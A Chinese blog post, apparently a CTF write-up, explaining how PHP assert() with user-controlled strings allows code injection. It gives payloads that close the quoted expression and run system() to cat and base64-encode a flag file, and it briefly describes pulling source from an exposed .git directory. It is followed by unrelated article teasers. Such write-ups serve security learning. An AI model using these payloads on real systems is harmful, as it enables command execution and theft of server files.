assert()理解

源自一道CTF题,理解全部写在注释里面

if (isset($_GET[‘page‘])) {
    $page = $_GET[‘page‘];
} else {
    $page = "home"; //
}

$file = "templates/" . $page . ".php";

// I heard ‘..‘ is dangerous!

//strpos通过查询‘..’ 在‘$file‘中第一次出现的位置来防止目录遍历
//assert()函数解释:判断表达式是否成立,返回true或者false。如果()内容为字符串则会当成php代码执行。

assert("strpos(‘$file‘, ‘..‘) === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
//file_exists(path)判断目标目录或者文件是否存在

assert("file_exists(‘$file‘)") or die("That file doesn‘t exist!");

//writeup
//由于有两个assert函数,可以对两个进行恶意代码构造
//对1构造
//解释:闭合strpos(‘1‘,‘..‘) or system("系统命令"); // 注释掉后面代码
  1‘,..‘) or system("cat+templates/flag.php|base64");//
注:

base64是因为php源码无法直接显示,进行加密处理显示 或者F12打开,会发现注释里面有flag

//对2构造
//解释:闭合file_exists(‘1‘),or system("系统命令"); //注释掉后面代码
  1‘) or system("cat+templates/flag.php|base64");#
  发现#被过滤改用//
  1‘) or system("cat+templates/flag.php|base64");//

原文地址:https://www.cnblogs.com/Zhu013/p/11588011.html

时间: 2024-08-30 16:27:44

assert()理解的相关文章

[XCTF嘉年华体验赛](web)web2 assert函数

0x00 题目分析 浏览一遍页面,在about页面,获得如下信息 访问 .git/ ,页面存在. 使用githack扒下来.得到源码,进行代码审计. 分析得到: 1.flag在flag页面,要看源码才能看到. 2. 参数过滤了 ../ 也就是限定了只能在本目录 3. exists函数 对文件的存在进行判定. 0X01 解题思路 理清思路,要看源码,有哪几种方法. 1.系统命令执行,cat 等函数 2.函数执行,show_source 等 3.将文件打包 ,下载下来. 这里最有可能的就是函数执行了

对于"单链表逆置和递归"的问题的理解.

一. 相关知识要点: 学习或了解基础数据结构和C语言, 对基础链表知识或相关知识有概况性认识. 例如: 本题目结构为: 1 #define elem_type int 2 3 typedef struct _single_list { 4 elem_type data; //所存的数据元素 5 _single_list *next; //所存的指针元素 6 }ListNode; 二. 问题的思考过程(本题以3种不同的方法解决): <1>类似于我们学习的C语言基础知识中的冒泡排序(参考C程序设计

深入理解C++中public、protected及private用法

深入理解C++中public.protected及private用法 这篇文章主要介绍了C++中public.protected及private用法,对于C++面向对象程序设计来说是非常重要的概念,需要的朋友可以参考下 初学C++的朋友经常在类中看到public,protected,private以及它们在继承中表示的一些访问范围,很容易搞糊涂.今天本文就来十分分析一下C++中public.protected及private用法.相信对于大家深入掌握C++程序设计会有很大的帮助. 这里我们首先要

C语言中断言ASSERT

我一直以为assert仅仅是个报错函数,事实上,它居然是个宏,并且作用并非"报错". 在经过对其进行一定了解之后,对其作用及用法有了一定的了解,assert()的用法像是一种"契约式编程",在我的理解中,其表达的意思就是,程序在我的假设条件下,能够正常良好的运作,其实就相当于一个if语句: if(假设成立) { 程序正常运行: } else { 报错&&终止程序!(避免由程序运行引起更大的错误) } 但是这样写的话,就会有无数个if语句,甚至会出现,

我所理解的内存分配算法(一)

内存分配从本质上来说是一种空间管理算法,给你一块连续的空间,提供存储服务,那么你的空间管理跟分配要采用什么样的算法才会比较高效? Bump-the-Pointer Bump-the-Pointer是最简单的算法.HotSpot的MM白皮书是这么描述btp的, That is, the end of the previously allocated object is always kept track of. When a new allocation request needs to be s

spring深入理解二(关于容器工作源码)

spring基本工作原理如下: 1.查找bean配置文件 2.加载bean配置文件并解析生成中间表示BeanDefinition 3.注册beanDefinition 4.如果是单例或lazy-init=false,则直接生成bean spring将 1.查找bean配置文件 2.加载bean配置文件并解析生成中间表示BeanDefinition 3.注册beanDefinition 这三部分开,可以提供更多的定制给用户. spring将配置文件之类的文件资源抽象成一个Resource,封装了g

console深入理解

["$$", "$x", "dir", "dirxml", "keys", "values", "profile", "profileEnd", "monitorEvents", "unmonitorEvents", "inspect", "copy", "c

Qt之QThread(深入理解)

简述 前面,我们介绍了QThread常用的两种方式: worker-object 子类化QThread 下面,我们首先来看看子类化QThread在日常中的应用. 简述 子类化QThread 在主线程中更新UI 正常结束线程 更多参考 一般情况下,QThread进行耗时操作的同时会与UI进行交互,比如:显示进度.旋转等待...进行友好型的交互,让用户知道当前的操作. 子类化QThread 我们以更新进度条为例,来模拟一个耗时操作,并分享我们有可能在此过程中遇到的问题及解决办法. 首先,我们定义一个

zz深入理解Android之Gradle

http://blog.csdn.net/innost/article/details/48228651 Gradle是当前非常“劲爆”得构建工具.本篇文章就是专为讲解Gradle而来.介绍Gradle之前,先说点题外话. 一.题外话 说实话,我在大法工作的时候,就见过Gradle.但是当时我一直不知道这是什么东西.而且大法工具组的工程师还将其和Android Studio大法版一起推送,偶一看就更没兴趣了.为什么那个时候如此不待见Gradle呢?因为我此前一直是做ROM开发.在这个层面上,我们